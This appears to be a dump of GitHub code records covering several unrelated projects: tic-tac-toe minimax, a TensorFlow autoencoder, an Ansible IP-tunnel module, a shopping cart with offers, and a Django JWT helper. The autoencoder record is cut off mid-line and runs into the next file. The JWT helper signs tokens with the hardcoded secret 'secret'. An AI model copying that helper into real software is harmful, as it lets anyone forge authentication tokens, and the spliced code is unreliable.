row in board:\n for square in row:\n if square == X:\n num_xs += 1\n elif square == O:\n num_os += 1\n\n return O if num_xs > num_os else X\n\n\ndef actions(board: Board) -> set:\n \"\"\"\n Returns set of all possible actions (i, j) available on the board.\n \"\"\"\n if terminal(board):\n return set()\n\n possible_actions = set()\n # Add all empty squares to set\n for i, _ in enumerate(board):\n for j, _ in enumerate(board[i]):\n if board[i][j] == EMPTY:\n possible_actions.add((i, j))\n return possible_actions\n\n\ndef result(board: Board, action: Action) -> Board:\n \"\"\"\n Returns the board that results from making move (i, j) on the board.\n \"\"\"\n if action is None:\n return board\n\n return_board = deepcopy(board) # Don't modify original board\n i = action[0]\n j = action[1]\n\n invalid_action = \\\n i > 2 or \\\n j > 2 or \\\n board[i][j] != EMPTY or \\\n winner(board) is not None\n\n if invalid_action:\n raise Exception\n\n return_board[i][j] = player(board)\n\n return return_board\n\n\ndef winner(board: Board) -> Optional[Player]:\n \"\"\"\n Returns the winner of the game, if there is one.\n \"\"\"\n if board == initial_state():\n return None\n\n # Horizontal Check\n for row in board:\n if all(x == row[0] for x in row):\n return row[0]\n\n # Vertical Check\n for j, _ in enumerate(board[0]):\n first_square = board[0][j]\n all_same = True\n for i, _ in enumerate(board):\n if board[i][j] != first_square:\n all_same = False\n if all_same:\n return first_square\n\n # Manual Diagonal Check because only two options\n fst_diag = board[0][0] == board[1][1] == board[2][2]\n snd_diag = board[2][0] == board[1][1] == board[0][2]\n\n if fst_diag or snd_diag:\n return board[1][1] # Center Square applies to both\n\n return None\n\n\ndef terminal(board: Board) -> bool:\n \"\"\"\n Returns True if game is over, False otherwise.\n \"\"\"\n if winner(board):\n return True\n\n for row in board:\n # At least one empty square? Game isn't over yet\n if any(square == EMPTY for square in row):\n return False\n\n # Should be unreachable but just in case\n return True\n\n\ndef utility(board: Board) -> int:\n \"\"\"\n Returns 1 if X has won the game, -1 if O has won, 0 otherwise.\n \"\"\"\n\n if terminal(board) and winner(board) == X:\n return 1\n elif terminal(board) and winner(board) == O:\n return -1\n else:\n return 0\n\n\ndef minimax(board: Board) -> Optional[Action]:\n \"\"\"\n Returns the optimal action for the current player on the board.\n \"\"\"\n if terminal(board):\n return None\n\n if player(board) == X:\n return max_value(board)[1]\n else:\n return min_value(board)[1]\n\n\ndef max_value(board: Board) -> Tuple[Numeric, Action]:\n # Base case\n best_action = (0, 0)\n if terminal(board):\n return utility(board), best_action\n\n v = -float(\"inf\")\n\n for action in actions(board):\n # Try an action\n new_board = result(board, action)\n # Simulate min_player's move in response\n min_move = min_value(new_board)[0]\n # Check if that's better\n if min_move > v:\n v = min_move\n best_action = action\n if v == 1: # If you've found a winning board, no point continuing\n return v, best_action\n\n # Return the max_value and the action needed to achieve it\n return v, best_action\n\n\n# Same thing but inverse\ndef min_value(board: Board) -> Tuple[Numeric, Action]:\n # Base case\n best_action = (0, 0)\n if terminal(board):\n return utility(board), best_action\n\n v = float(\"inf\")\n\n for action in actions(board):\n # Try an action\n new_board = result(board, action)\n # Simulate max_player's move in response\n min_move = max_value(new_board)[0]\n # Check if that's better\n if min_move < v:\n v = min_move\n best_action = action\n if v == -1: # If you've found a winning board, no point continuing\n return v, best_action\n\n # Return the min_value and the action needed to achieve it\n return v, best_action\n","repo_name":"viplrao/tictactoe","sub_path":"tictactoe.py","file_name":"tictactoe.py","file_ext":"py","file_size_in_byte":5049,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"38196293091","text":"try:\n\tfrom setuptools import setup\nexcept ImportError:\n\tfrom distutils.core import setup\n\t\nconfig = {\n\t\"description\": \"Guru\",\n\t\"author\": \"Rich\",\n\t\"url\": \"www.northroast.com\",\n\t\"download_url\": \"localhost\",\n\t\"author_email\": \"northroast@icloud.com\",\n\t\"version\": \"0.1\",\n\t\"install_requires\": [\"nose\"],\n\t\"package\": [\"NAME\"],\n\t\"scripts\": [],\n\t\"name\": \"projectname\"\n}\n\nsetup(**config)","repo_name":"northroast/skeleton","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":376,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"10883778900","text":"# -*- coding: utf-8 -*-\r\n# import tensorflow as tf\r\n\r\nimport tensorflow.compat.v1 as tf\r\ntf.disable_v2_behavior()\r\nimport os\r\nimport random\r\nimport numpy as np\r\n\r\ndef AutoEncoderTrain(trainset, testset, num_epoch=1000, batch_size=256, flag_train=True, lr=1e-6):\r\n #sess = tf.InteractiveSession()\r\n sess = tf.InteractiveSession()\r\n #------------------------------------------------------------------------------\r\n def weight_variable(shape):\r\n initial = tf.truncated_normal(shape, stddev=0.1)\r\n return tf.Variable(initial)\r\n \r\n def bias_variable(shape):\r\n initial = tf.constant(0.1, shape=shape)\r\n return tf.Variable(initial)\r\n #------------------------------------------------------------------------------\r\n def conv2d(x, W):\r\n return tf.nn.conv2d(x, W, strides=[1, 1, 1, 1], padding='SAME')\r\n \r\n def max_pool_2x2(x):\r\n return tf.nn.max_pool(x, ksize=[1, 2, 2, 1],strides=[1, 2, 2, 1], padding='SAME')\r\n \r\n def deconv2d_2x2(x, W, o):\r\n return tf.nn.conv2d_transpose(x,W,output_shape=o,strides=[1,2,2,1],padding=\"SAME\")\r\n \r\n def deconv2d_1x1(x, W, o):\r\n return tf.nn.conv2d_transpose(x,W,output_shape=o,strides=[1,1,1,1],padding=\"SAME\")\r\n \r\n sample=tf.placeholder(dtype=tf.float32,shape=[None,112,112,1])\r\n res_sample=tf.placeholder(dtype=tf.float32,shape=[None,112,112,1])\r\n \r\n #------------------------------------------------------------------------------\r\n # Parameters in encoder\r\n W_conv1_encoder = weight_variable([5, 5, 1, 32])\r\n b_conv1_encoder = bias_variable([32])\r\n \r\n W_conv2_encoder = weight_variable([5, 5, 32, 64])\r\n b_conv2_encoder = bias_variable([64])\r\n \r\n W_conv3_encoder = weight_variable([5, 5, 64, 128])\r\n b_conv3_encoder = bias_variable([128])\r\n \r\n W_fc1_encoder = weight_variable([14 * 14 * 128, 2048])\r\n b_fc1_encoder = bias_variable([2048])\r\n \r\n W_fc2_encoder = weight_variable([2048, 1024])\r\n b_fc2_encoder = bias_variable([1024])\r\n \r\n \r\n # Parameters in Decoder\r\n \r\n W_fc1_decoder = weight_variable([1024,14*14*128])\r\n b_fc1_decoder = bias_variable([14*14*128])\r\n \r\n W_deconv1_decoder=weight_variable([5, 5, 64, 128])\r\n b_deconv1_decoder = bias_variable([64])\r\n \r\n W_deconv2_decoder=weight_variable([5, 5, 32, 64])\r\n b_deconv2_decoder = bias_variable([32])\r\n \r\n W_deconv3_decoder=weight_variable([5, 5, 16, 32])\r\n b_deconv3_decoder = bias_variable([16])\r\n \r\n W_deconv4_decoder = weight_variable([5, 5, 1, 16])\r\n b_deconv4_decoder = bias_variable([1])\r\n \r\n \r\n #------------------------------------------------------------------------------\r\n def Encoder(x):\r\n # h_conv1: 112*112*32\r\n h_conv1_encoder = tf.nn.relu(conv2d(x, W_conv1_encoder) + b_conv1_encoder)\r\n # h_pool1: 56*56*32\r\n h_pool1_encoder = max_pool_2x2(h_conv1_encoder)\r\n # h_conv2: 56*56*64\r\n h_conv2_encoder = tf.nn.relu(conv2d(h_pool1_encoder, W_conv2_encoder) + b_conv2_encoder)\r\n # h_pool2: 28*28*64\r\n h_pool2_encoder = max_pool_2x2(h_conv2_encoder)\r\n # h_conv3: 28*28*128\r\n h_conv3_encoder = tf.nn.relu(conv2d(h_pool2_encoder, W_conv3_encoder) + b_conv3_encoder)\r\n # h_pool3: 14*14*128\r\n h_pool3_encoder = max_pool_2x2(h_conv3_encoder)\r\n # h_pool3_flat: 14*14*128=25088\r\n h_pool3_flat_encoder = tf.reshape(h_pool3_encoder, [-1, 14*14*128])\r\n # h_fc1: 2048\r\n h_fc1_encoder = tf.nn.relu(tf.matmul(h_pool3_flat_encoder, W_fc1_encoder) + b_fc1_encoder)\r\n # h_fc2: 1024\r\n h_fc2_encoder = tf.nn.sigmoid(tf.matmul(h_fc1_encoder, W_fc2_encoder) + b_fc2_encoder)\r\n \r\n return h_fc2_encoder\r\n \r\n \r\n def Decoder(x):\r\n h_fc1_decoder = tf.nn.relu(tf.matmul(x, W_fc1_decoder) + b_fc1_decoder)\r\n h_flat_decoder = tf.reshape(h_fc1_decoder, [-1, 14,14,128])\r\n h_deconv1_decoder = tf.nn.relu(deconv2d_2x2(h_flat_decoder, W_deconv1_decoder,[batch_size, 28,28,64]) + b_deconv1_decoder)\r\n h_deconv2_decoder = tf.nn.relu(deconv2d_2x2(h_deconv1_decoder, W_deconv2_decoder,[batch_size, 56,56,32]) + b_deconv2_decoder)\r\n h_deconv3_decoder = tf.nn.relu(deconv2d_2x2(h_deconv2_decoder, W_deconv3_decoder,[batch_size, 112,112,16]) + b_deconv3_decoder)\r\n h_deconv4_decoder = tf.nn.sigmoid(deconv2d_1x1(h_deconv3_decoder, W_deconv4_decoder,[batch_size, 112,112,1]) + b_deconv4_decoder)\r\n \r\n return h_deconv4_decoder\r\n \r\n #------------------------------------------------------------------------------\r\n coding=Encoder(sample)\r\n pred_sample=Decoder(coding)\r\n \r\n #------------------------------------------------------------------------------\r\n# loss=-tf.reduce_sum(res_sample*tf.log(tf.maximum(pred_sample,1e-10)))\r\n loss=tf.reduce_mean(tf.square(res_sample-pred_sample))\r\n tr=tf.train.AdamOptimizer(lr).minimize(loss)\r\n sess.run(tf.global_variables_initializer())\r\n saver = tf.train.Saver()\r\n if os.path.exists('auto-encoder-model'):\r\n model_file=tf.train.latest_checkpoint('auto-encoder-model/')\r\n saver.restore(sess,model_file)\r\n print('loading auto-encoder-model success...')\r\n if os.path.exists('auto-encoder-model/loss_show.npy'):\r\n loss_show = np.load('auto-encoder-model/loss_show.npy')\r\n loss_show=loss_show.tolist()\r\n else:\r\n loss_show=[] \r\n\r\n\r\n if flag_train==True:\r\n N_t=trainset.shape[0]\r\n for w in range(0,num_epoch):\r\n order_shuffled=random.sample(range(0,N_t),N_t)\r\n trainset_shuffled=trainset[order_shuffled,:,:,:]\r\n \r\n epochs=np.int(np.floor(N_t/batch_size)+1)\r\n for i in range(0,epochs):\r\n if (i+1)*batch_size\n# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)\n\nfrom __future__ import absolute_import, division, print_function\n__metaclass__ = type\n\n\nDOCUMENTATION = '''\n---\nmodule: dladm_iptun\nshort_description: Manage IP tunnel interfaces on Solaris/illumos systems.\ndescription:\n - Manage IP tunnel interfaces on Solaris/illumos systems.\nauthor: Adam Števko (@xen0l)\noptions:\n name:\n description:\n - IP tunnel interface name.\n required: true\n temporary:\n description:\n - Specifies that the IP tunnel interface is temporary. Temporary IP tunnel\n interfaces do not persist across reboots.\n required: false\n default: false\n type: bool\n type:\n description:\n - Specifies the type of tunnel to be created.\n required: false\n default: \"ipv4\"\n choices: [ \"ipv4\", \"ipv6\", \"6to4\" ]\n aliases: ['tunnel_type']\n local_address:\n description:\n - Literal IP address or hostname corresponding to the tunnel source.\n required: false\n aliases: [ \"local\" ]\n remote_address:\n description:\n - Literal IP address or hostname corresponding to the tunnel destination.\n required: false\n aliases: [ \"remote\" ]\n state:\n description:\n - Create or delete Solaris/illumos VNIC.\n required: false\n default: \"present\"\n choices: [ \"present\", \"absent\" ]\n'''\n\nEXAMPLES = '''\n- name: Create IPv4 tunnel interface 'iptun0'\n community.network.dladm_iptun: name=iptun0 local_address=192.0.2.23 remote_address=203.0.113.10 state=present\n\n- name: Change IPv4 tunnel remote address\n community.network.dladm_iptun: name=iptun0 type=ipv4 local_address=192.0.2.23 remote_address=203.0.113.11\n\n- name: Create IPv6 tunnel interface 'tun0'\n community.network.dladm_iptun: name=tun0 type=ipv6 local_address=192.0.2.23 remote_address=203.0.113.42\n\n- name: Remove 'iptun0' tunnel interface\n community.network.dladm_iptun: name=iptun0 state=absent\n'''\n\nRETURN = '''\nname:\n description: tunnel interface name\n returned: always\n type: str\n sample: iptun0\nstate:\n description: state of the target\n returned: always\n type: str\n sample: present\ntemporary:\n description: specifies if operation will persist across reboots\n returned: always\n type: bool\n sample: true\nlocal_address:\n description: local IP address\n returned: always\n type: str\n sample: 1.1.1.1/32\nremote_address:\n description: remote IP address\n returned: always\n type: str\n sample: 2.2.2.2/32\ntype:\n description: tunnel type\n returned: always\n type: str\n sample: ipv4\n'''\n\nfrom ansible.module_utils.basic import AnsibleModule\n\n\nSUPPORTED_TYPES = ['ipv4', 'ipv6', '6to4']\n\n\nclass IPTun(object):\n\n def __init__(self, module):\n self.module = module\n\n self.name = module.params['name']\n self.type = module.params['type']\n self.local_address = module.params['local_address']\n self.remote_address = module.params['remote_address']\n self.temporary = module.params['temporary']\n self.state = module.params['state']\n\n self.dladm_bin = self.module.get_bin_path('dladm', True)\n\n def iptun_exists(self):\n cmd = [self.dladm_bin]\n\n cmd.append('show-iptun')\n cmd.append(self.name)\n\n (rc, dummy, dummy) = self.module.run_command(cmd)\n\n if rc == 0:\n return True\n else:\n return False\n\n def create_iptun(self):\n cmd = [self.dladm_bin]\n\n cmd.append('create-iptun')\n\n if self.temporary:\n cmd.append('-t')\n\n cmd.append('-T')\n cmd.append(self.type)\n cmd.append('-a')\n cmd.append('local=' + self.local_address + ',remote=' + self.remote_address)\n cmd.append(self.name)\n\n return self.module.run_command(cmd)\n\n def delete_iptun(self):\n cmd = [self.dladm_bin]\n\n cmd.append('delete-iptun')\n\n if self.temporary:\n cmd.append('-t')\n cmd.append(self.name)\n\n return self.module.run_command(cmd)\n\n def update_iptun(self):\n cmd = [self.dladm_bin]\n\n cmd.append('modify-iptun')\n\n if self.temporary:\n cmd.append('-t')\n cmd.append('-a')\n cmd.append('local=' + self.local_address + ',remote=' + self.remote_address)\n cmd.append(self.name)\n\n return self.module.run_command(cmd)\n\n def _query_iptun_props(self):\n cmd = [self.dladm_bin]\n\n cmd.append('show-iptun')\n cmd.append('-p')\n cmd.append('-c')\n cmd.append('link,type,flags,local,remote')\n cmd.append(self.name)\n\n return self.module.run_command(cmd)\n\n def iptun_needs_updating(self):\n (rc, out, err) = self._query_iptun_props()\n\n NEEDS_UPDATING = False\n\n if rc == 0:\n configured_local, configured_remote = out.split(':')[3:]\n\n if self.local_address != configured_local or self.remote_address != configured_remote:\n NEEDS_UPDATING = True\n\n return NEEDS_UPDATING\n else:\n self.module.fail_json(msg='Failed to query tunnel interface %s properties' % self.name,\n err=err,\n rc=rc)\n\n\ndef main():\n module = AnsibleModule(\n argument_spec=dict(\n name=dict(required=True, type='str'),\n type=dict(default='ipv4', type='str', aliases=['tunnel_type'],\n choices=SUPPORTED_TYPES),\n local_address=dict(type='str', aliases=['local']),\n remote_address=dict(type='str', aliases=['remote']),\n temporary=dict(default=False, type='bool'),\n state=dict(default='present', choices=['absent', 'present']),\n ),\n required_if=[\n ['state', 'present', ['local_address', 'remote_address']],\n ],\n supports_check_mode=True\n )\n\n iptun = IPTun(module)\n\n rc = None\n out = ''\n err = ''\n result = {}\n result['name'] = iptun.name\n result['type'] = iptun.type\n result['local_address'] = iptun.local_address\n result['remote_address'] = iptun.remote_address\n result['state'] = iptun.state\n result['temporary'] = iptun.temporary\n\n if iptun.state == 'absent':\n if iptun.iptun_exists():\n if module.check_mode:\n module.exit_json(changed=True)\n (rc, out, err) = iptun.delete_iptun()\n if rc != 0:\n module.fail_json(name=iptun.name, msg=err, rc=rc)\n elif iptun.state == 'present':\n if not iptun.iptun_exists():\n if module.check_mode:\n module.exit_json(changed=True)\n (rc, out, err) = iptun.create_iptun()\n\n if rc is not None and rc != 0:\n module.fail_json(name=iptun.name, msg=err, rc=rc)\n else:\n if iptun.iptun_needs_updating():\n (rc, out, err) = iptun.update_iptun()\n if rc != 0:\n module.fail_json(msg='Error while updating tunnel interface: \"%s\"' % err,\n name=iptun.name,\n stderr=err,\n rc=rc)\n\n if rc is None:\n result['changed'] = False\n else:\n result['changed'] = True\n\n if out:\n result['stdout'] = out\n if err:\n result['stderr'] = err\n\n module.exit_json(**result)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"ansible-collections/community.network","sub_path":"plugins/modules/dladm_iptun.py","file_name":"dladm_iptun.py","file_ext":"py","file_size_in_byte":7683,"program_lang":"python","lang":"en","doc_type":"code","stars":108,"dataset":"github-code","pt":"48"} +{"seq_id":"3028494561","text":"import datetime\n\n\ndef currency(value, country=\"en_GB\"):\n if country == \"en_GB\":\n return f\"£{value:4.2f}\" if value >= 1 else f\"{int(value*100):<2d}p\"\n elif country == \"en_US\":\n return f\"${value:4.2f}\" if value >= 1 else f\"{int(value*100):<2d}c\"\n\n\nclass NotEnoughCartItem(Exception):\n def __init__(self):\n super().__init__(\"Not enough items in the cart\")\n\n\nclass NotEnoughInventoryItem(Exception):\n def __init__(self):\n super().__init__(\"Not enough items in the inventory\")\n\n\nclass InvalidInput(Exception):\n pass\n\n\nclass Product:\n def __init__(self, product_id: int, name: str, price: float) -> None:\n self.product_id = product_id\n self.name = name\n self.price = price\n\n def __str__(self) -> str:\n return f\"Product: {self.name:<12} | Price: {currency(self.price):<12}\"\n\n\nclass InventoryItem:\n def __init__(self, product: Product) -> None:\n self.product = product\n self.count = 0\n\n def update_item_count(self, count: int) -> None:\n if count == 0:\n return\n if count < 0 and self.count < count:\n raise NotEnoughInventoryItem()\n\n self.count += count\n\n def __str__(self) -> str:\n return f\"{self.product} | Count: {self.count:<4d}\"\n\n\nclass Inventory:\n def __init__(self) -> None:\n self.items: dict[int, InventoryItem] = dict()\n\n def add_item(self, product: Product, count: int = 1) -> None:\n if count <= 0:\n raise InvalidInput(\"Count must be a positive integer.\")\n\n item = self.items.setdefault(product.product_id, InventoryItem(product))\n item.update_item_count(count=count)\n\n def remove_item(self, product: Product, count: int = 1) -> None:\n if count <= 0:\n raise InvalidInput(\"Count must be a positive integer.\")\n\n item = self.items.get(product.product_id)\n if not item or item.count < count:\n raise NotEnoughInventoryItem()\n\n item.update_item_count(count=-count)\n\n def check_stock(self, product: Product, count: int) -> bool:\n item = self.items.get(product.product_id, None)\n if not item or item.count < count:\n return False\n\n return True\n\n def __str__(self) -> str:\n result = \"Inventory\\n--------\\n\" + \"\\n\".join(\n str(v) for v in self.items.values()\n )\n return result\n\n\nclass CartItem:\n def __init__(self, product: Product) -> None:\n self.product = product\n self.count = 0\n self.total_price = 0\n\n def update_item_count(self, count: int) -> float:\n self.count += count\n\n price_delta = self.product.price * count\n self.total_price += price_delta\n\n return price_delta\n\n def __str__(self) -> str:\n return (\n f\"Product: {self.product.name:<12} | Count: {self.count:<4d} | \"\n f\"Total: {currency(self.total_price):<12}\"\n )\n\n\nclass Cart:\n def __init__(self) -> None:\n self.items: dict[int, CartItem] = {}\n self.total_price = 0\n\n def add_item(self, product: Product, count: int = 1) -> None:\n if count <= 0:\n raise InvalidInput(\"Count must be a positive integer.\")\n\n item = self.items.setdefault(product.product_id, CartItem(product))\n price_delta = item.update_item_count(count=count)\n self.total_price += price_delta\n\n def remove_item(self, product: Product, count: int = 1) -> None:\n if count <= 0:\n raise InvalidInput(\"Count must be a positive integer.\")\n\n item = self.items.get(product.product_id)\n if not item or item.count < count:\n raise NotEnoughCartItem()\n\n price_delta = item.update_item_count(count=-count)\n self.total_price += price_delta\n\n if item.count == 0:\n del self.items[product.product_id]\n\n def delete_item(self, product: Product) -> None:\n item = self.items.get(product.product_id, None)\n if item:\n self.remove_item(product=product, count=item.count)\n\n def empty_cart(self):\n self.items.clear()\n self.total_price = 0\n\n def __str__(self) -> str:\n result = (\n f\"Cart - ({datetime.datetime.now()})\\n----\\n\"\n + \"\\n\".join(str(item) for item in self.items.values())\n + f\" \\nTotal Price: {currency(self.total_price):<20s}\"\n )\n return result\n\n\nclass ReceiptItem:\n def __init__(\n self,\n product_name: str,\n price: float,\n count: int,\n original_total: float,\n final_total: float,\n ) -> None:\n self.product_name = product_name\n self.price = price\n self.count = count\n self.original_total = original_total\n self.final_total = final_total\n\n def __str__(self) -> str:\n return (\n f\"{self.product_name:<12}: {currency(self.price):<7s} * {self.count:<2d}| \"\n f\" Original: {currency(self.original_total):<12s}\"\n f\" => Final: {currency(self.final_total):<12s}\"\n )\n\n\nclass Receipt:\n def __init__(self) -> None:\n self.items: list[ReceiptItem] = []\n self.original_total = 0\n self.final_total = 0\n self.offers_msg = []\n self.no_offers_msg = \"(No offers available)\"\n\n def add_item(self, item: ReceiptItem):\n self.items.append(item)\n\n def __str__(self) -> str:\n result = (\n \"Receipt\\n-------\\n\"\n + \"\\n\".join(str(item) for item in self.items)\n + f\"\\nOriginal Total: {currency(self.original_total)}\"\n + f\" => Final Total: {currency(self.final_total)}\\n\"\n )\n return result\n\n def msg(self) -> str:\n msg = \"\\n\".join(self.offers_msg) if self.offers_msg else self.no_offers_msg\n result = (\n f\"\\nSubtotal: {currency(self.original_total)}\\n\"\n + msg\n + f\"\\nTotal price: {currency(self.final_total)}\\n\"\n )\n return result\n\n\nclass Offer:\n def __init__(self, name: str) -> None:\n self.name = name\n\n def apply(self, count: int, product_price: float, cart: Cart):\n raise NotImplementedError()\n\n\nclass DiscountOffer(Offer):\n def __init__(self, name: str, discount_percentage: float) -> None:\n super().__init__(name=name)\n self.multiplier = 1 - discount_percentage / 100\n\n def apply(self, count: int, product_price: float, cart: Cart = None):\n actual = count * product_price\n final = count * product_price * self.multiplier\n msg = f\"{self.name}: {actual - final:<4.2f}\"\n return final, msg\n\n\nclass ConditionalOffer(Offer):\n def __init__(\n self, name: str, discount_percentage: float, product_count: int, product_id: int\n ) -> None:\n super().__init__(name=name)\n self.multiplier = 1 - discount_percentage / 100\n self.product_id = product_id\n self.product_count = product_count\n\n def apply(self, count: int, product_price: float, cart: Cart):\n cond_count = [\n cart_item.count\n for cart_item in cart.items.values()\n if cart_item.product.product_id == self.product_id\n ]\n if not cond_count:\n return count * product_price, \"\"\n cond_count = cond_count[0]\n if cond_count < self.product_count:\n return count * product_price, \"\"\n discount_count = int(cond_count / self.product_count)\n actual = count * product_price\n final = (\n discount_count * product_price * self.multiplier\n + (count - discount_count) * product_price\n )\n msg = f\"{self.name}: {actual - final:<4.2f}\"\n return final, msg\n\n\nclass CheckoutManager:\n def __init__(self, inventory: Inventory) -> None:\n self.inventory = inventory\n self.offer: dict[int, Offer] = dict()\n\n def add_offer(self, product_id: int, offer: Offer) -> None:\n # Product does not need to exist in the inventory since the user may add the offer first.\n # Latest offer overrides any existing ones.\n self.offer[product_id] = offer\n\n def checkout(self, cart: Cart) -> None:\n if not cart.items:\n raise NotEnoughCartItem()\n\n for cart_item in cart.items.values():\n inventory_item = self.inventory.items.get(cart_item.product.product_id)\n if not inventory_item or inventory_item.count < cart_item.count:\n raise NotEnoughInventoryItem()\n\n receipt = Receipt()\n original_total_price = 0\n final_total_price = 0\n for cart_item in cart.items.values():\n product = cart_item.product\n self.inventory.remove_item(product=product, count=cart_item.count)\n\n total_price = cart_item.total_price\n original_total_price += total_price\n\n receipt_item = ReceiptItem(\n product_name=product.name,\n price=product.price,\n count=cart_item.count,\n original_total=total_price,\n final_total=total_price,\n )\n receipt.add_item(item=receipt_item)\n\n offer = self.offer.get(product.product_id, None)\n if offer:\n total_price, msg = offer.apply(\n count=cart_item.count, product_price=product.price, cart=cart\n )\n if total_price:\n receipt_item.final_total = total_price\n if msg:\n receipt.offers_msg.append(msg)\n\n final_total_price += total_price\n\n receipt.original_total = original_total_price\n receipt.final_total = final_total_price\n\n cart.empty_cart()\n print(f\"{receipt.msg()}\")\n\n\ndef test() -> None:\n # Products\n soup = Product(product_id=1, name=\"Soup\", price=0.65)\n bread = Product(product_id=2, name=\"Bread\", price=0.8)\n milk = Product(product_id=3, name=\"Milk\", price=1.30)\n apple = Product(product_id=4, name=\"Apples\", price=1)\n\n # Inventory\n inventory = Inventory()\n inventory.add_item(product=bread, count=50)\n inventory.add_item(product=apple, count=20)\n inventory.add_item(product=soup, count=40)\n inventory.add_item(product=milk, count=25)\n\n # Offer\n apple_discount_offer = DiscountOffer(name=\"Apples 10% off\", discount_percentage=10)\n bread_cond_discount_offer = ConditionalOffer(\n name=\"Buy 2 Soup Get Bread 50% off\",\n discount_percentage=50,\n product_count=2,\n product_id=soup.product_id,\n )\n\n checkout_manager = CheckoutManager(inventory=inventory)\n checkout_manager.add_offer(product_id=apple.product_id, offer=apple_discount_offer)\n checkout_manager.add_offer(\n product_id=bread.product_id, offer=bread_cond_discount_offer\n )\n\n # Cart\n cart = Cart()\n cart.add_item(product=apple)\n cart.add_item(product=bread)\n cart.add_item(product=milk)\n print(cart)\n checkout_manager.checkout(cart=cart)\n print(\"=======\" * 10)\n\n # Cart\n cart = Cart()\n cart.add_item(product=milk)\n print(cart)\n checkout_manager.checkout(cart=cart)\n print(\"=======\" * 10)\n\n # Cart\n cart = Cart()\n cart.add_item(product=apple)\n cart.add_item(product=bread)\n cart.add_item(product=milk)\n cart.add_item(product=bread, count=2)\n cart.add_item(product=soup, count=4)\n print(cart)\n checkout_manager.checkout(cart=cart)\n print(\"=======\" * 10)\n\n # Cart\n cart = Cart()\n cart.add_item(product=bread, count=2)\n cart.add_item(product=soup, count=2)\n print(cart)\n checkout_manager.checkout(cart=cart)\n print(\"=======\" * 10)\n\n # Cart\n cart = Cart()\n cart.add_item(product=apple, count=2)\n print(cart)\n checkout_manager.checkout(cart=cart)\n print(\"=======\" * 10)\n\n\nif __name__ == \"__main__\":\n test()\n","repo_name":"keerthanachellamuthu/shopping-cart","sub_path":"shopping.py","file_name":"shopping.py","file_ext":"py","file_size_in_byte":11822,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"37478342705","text":"#!/usr/bin/python3\n\nfrom board import Board\nimport numpy\nimport sys\n\nply = 0\npv = []\nwinpaths = []\nnodes = 0\n\ndef doSearch(depth):\n search(depth,True)\n print()\n\ndef search(depth, isRoot):\n global ply, pv, winpaths, nodes\n nodes += 1\n if not depth:\n if b.isWin():\n winpaths.append(pv[:])\n return\n mvs = b.genMoves()\n mvnum = 0\n for mv in mvs:\n if isRoot: \n mvnum += 1\n sys.stdout.write(\"\\rsearching move {0}/{1}, nodecount={2}, winpaths={3} \".format(mvnum,len(mvs),nodes,len(winpaths)))\n sys.stdout.flush()\n b.makeMove(mv)\n if ply >= len(pv): pv.append(mv)\n else: pv[ply] = mv\n ply += 1\n #wplen = len(winpaths)\n search(depth-1,False)\n #if isRoot and len(winpaths) > wplen: print(len(winpaths)-wplen)\n ply -= 1\n b.unmakeMove(mv)\n \n\nb = Board(9)\nprint(b)\n\n\ndoSearch(4)\nprint(\"nodes = {0}\".format(nodes))\nprint(\"winpaths = {0}\".format(len(winpaths)))\n\npick = input(\"type 'p' to step through all winpaths, otherwise press enter to quit: \")\nif pick == 'p':\n for wp in winpaths:\n print(\"******************************\")\n bb = Board(9)\n print(wp)\n print(bb)\n for mv in wp:\n bb.makeMove(mv)\n print(bb)\n input(\"(press enter for next winpath)\")\n","repo_name":"aaron-hanson/coingame","sub_path":"cg.py","file_name":"cg.py","file_ext":"py","file_size_in_byte":1228,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"32107464641","text":"def solve():\n T = int(input())\n\n for _ in range(0, T):\n [L, R] = map(int, input().split())\n\n x = R - 2 * L + 1\n if x < 1:\n ans = 0\n else:\n ans = x * (x + 1) // 2\n\n print(ans)\n\nif __name__ == '__main__':\n solve()\n","repo_name":"tiqwab/atcoder","sub_path":"arc112/a/solution2.py","file_name":"solution2.py","file_ext":"py","file_size_in_byte":278,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"25132797590","text":"from django.contrib.auth.backends import BaseBackend\nfrom django.shortcuts import get_object_or_404\nfrom ..models import User\n\nimport jwt\nimport time\n\nsecret = \"secret\"\n\nclass CustomAuthentication:\n def authenticate(self, email=None, password=None):\n # attempt to get user from the given email\n user = User.objects.get(email=email)\n if user is not None and user.check_password(password):\n if user.is_active:\n return user\n else:\n return \"User has not been activated\"\n \n # if no user exists or password is wrong\n else:\n return None\n\n # gets the user\n # this method is by default needed for authentication backends\n def get_user(self, user_id):\n try:\n # return User.objects.get(pk=user_id)\n return get_object_or_404(User, pk=user_id)\n except User.DoesNotExist:\n return None\n\n\n\nclass TokenJWT:\n # method to generate tokens\n # the secret is used from here for now, but will be used a different one in future\n def generateJWT(self, username, email, user_id):\n access_token = self.generateAccessToken(username, email, user_id)\n refresh_token = self.generateRefreshToken(user_id)\n \n return access_token, refresh_token\n\n # method for generating new access tokens from refresh tokens\n def generateNewAccessTokens(self, token):\n token_content = jwt.decode(token, secret, algorithms='HS256')\n if token_content['type'] != 'refresh':\n return {\"message\": \"Not Acceptable\"}\n \n # otherwise\n user = User.objects.get(id=token_content['id'])\n access_token = self.generateAccessToken(user.username, user.email, user.id)\n return {\"new_access_token\": access_token}\n\n # method for generating access token\n def generateAccessToken(self, username, email, user_id):\n # the claims will be username, email and expiration time\n # the algorithm is HS256\n token =jwt.encode(\n {\n \"exp\": time.time() + 3600,\n \"username\": username,\n \"email\": email,\n \"id\" : user_id,\n \"type\": \"access\",\n },\n secret,\n algorithm=\"HS256\"\n )\n return token\n\n\n # mothod for generating refresh token\n def generateRefreshToken(self, user_id):\n # refresh token\n # create refresh token in a way \n # such that it cannot be used as an access token \n # (i.e. client cannot use it to gain access to routes)\n token = jwt.encode(\n {\n \"exp\" : time.time() + 86400,\n \"id\" : user_id,\n \"type\": \"refresh\"\n },\n secret,\n algorithm=\"HS256\"\n )\n return token\n\n 